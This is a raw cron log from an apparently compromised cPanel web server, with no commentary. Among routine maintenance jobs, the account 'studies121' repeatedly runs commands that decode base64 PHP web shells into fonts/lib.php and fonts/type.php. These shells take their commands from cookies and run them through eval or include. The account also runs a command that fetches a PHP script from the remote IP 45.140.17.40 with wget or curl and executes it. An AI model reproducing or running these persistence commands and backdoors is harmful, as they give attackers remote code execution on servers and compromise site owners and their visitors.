Sep 12 08:43:01 ip-184-168-122-23 CROND[28507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:43:01 ip-184-168-122-23 CROND[28505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:44:01 ip-184-168-122-23 CROND[28634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:44:01 ip-184-168-122-23 CROND[28635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:44:01 ip-184-168-122-23 CROND[28636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:44:01 ip-184-168-122-23 CROND[28639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:44:01 ip-184-168-122-23 CROND[28638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:45:01 ip-184-168-122-23 CROND[28817]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:45:01 ip-184-168-122-23 CROND[28819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:46:01 ip-184-168-122-23 CROND[28924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:46:01 ip-184-168-122-23 CROND[28925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:46:01 ip-184-168-122-23 CROND[28928]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:46:01 ip-184-168-122-23 CROND[28930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:46:01 ip-184-168-122-23 CROND[28929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:46:01 ip-184-168-122-23 CROND[28931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:46:01 ip-184-168-122-23 CROND[28932]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 08:47:01 ip-184-168-122-23 CROND[29036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:47:01 ip-184-168-122-23 CROND[29038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:47:01 ip-184-168-122-23 CROND[29039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:47:01 ip-184-168-122-23 CROND[29040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:48:01 ip-184-168-122-23 CROND[29145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:48:01 ip-184-168-122-23 CROND[29147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:48:01 ip-184-168-122-23 CROND[29148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:48:01 ip-184-168-122-23 CROND[29151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:48:01 ip-184-168-122-23 CROND[29150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:49:01 ip-184-168-122-23 CROND[29249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:49:01 ip-184-168-122-23 CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:49:01 ip-184-168-122-23 CROND[29253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:49:01 ip-184-168-122-23 CROND[29252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29442]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:50:01 ip-184-168-122-23 CROND[29441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:50:01 ip-184-168-122-23 CROND[29444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:50:01 ip-184-168-122-23 CROND[29440]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:51:01 ip-184-168-122-23 CROND[29552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:51:01 ip-184-168-122-23 CROND[29554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:51:01 ip-184-168-122-23 CROND[29555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:51:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:52:01 ip-184-168-122-23 CROND[29653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:52:01 ip-184-168-122-23 CROND[29655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:52:01 ip-184-168-122-23 CROND[29656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:52:01 ip-184-168-122-23 CROND[29654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:52:01 ip-184-168-122-23 CROND[29657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:53:01 ip-184-168-122-23 CROND[29748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:53:01 ip-184-168-122-23 CROND[29749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:53:01 ip-184-168-122-23 CROND[29750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:53:01 ip-184-168-122-23 CROND[29751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:54:01 ip-184-168-122-23 CROND[29857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 08:54:01 ip-184-168-122-23 CROND[29860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:54:01 ip-184-168-122-23 CROND[29858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:54:01 ip-184-168-122-23 CROND[29859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:54:01 ip-184-168-122-23 CROND[29861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 08:55:01 ip-184-168-122-23 CROND[30085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:55:01 ip-184-168-122-23 CROND[30087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:55:01 ip-184-168-122-23 CROND[30090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:55:01 ip-184-168-122-23 CROND[30088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 08:55:01 ip-184-168-122-23 CROND[30089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
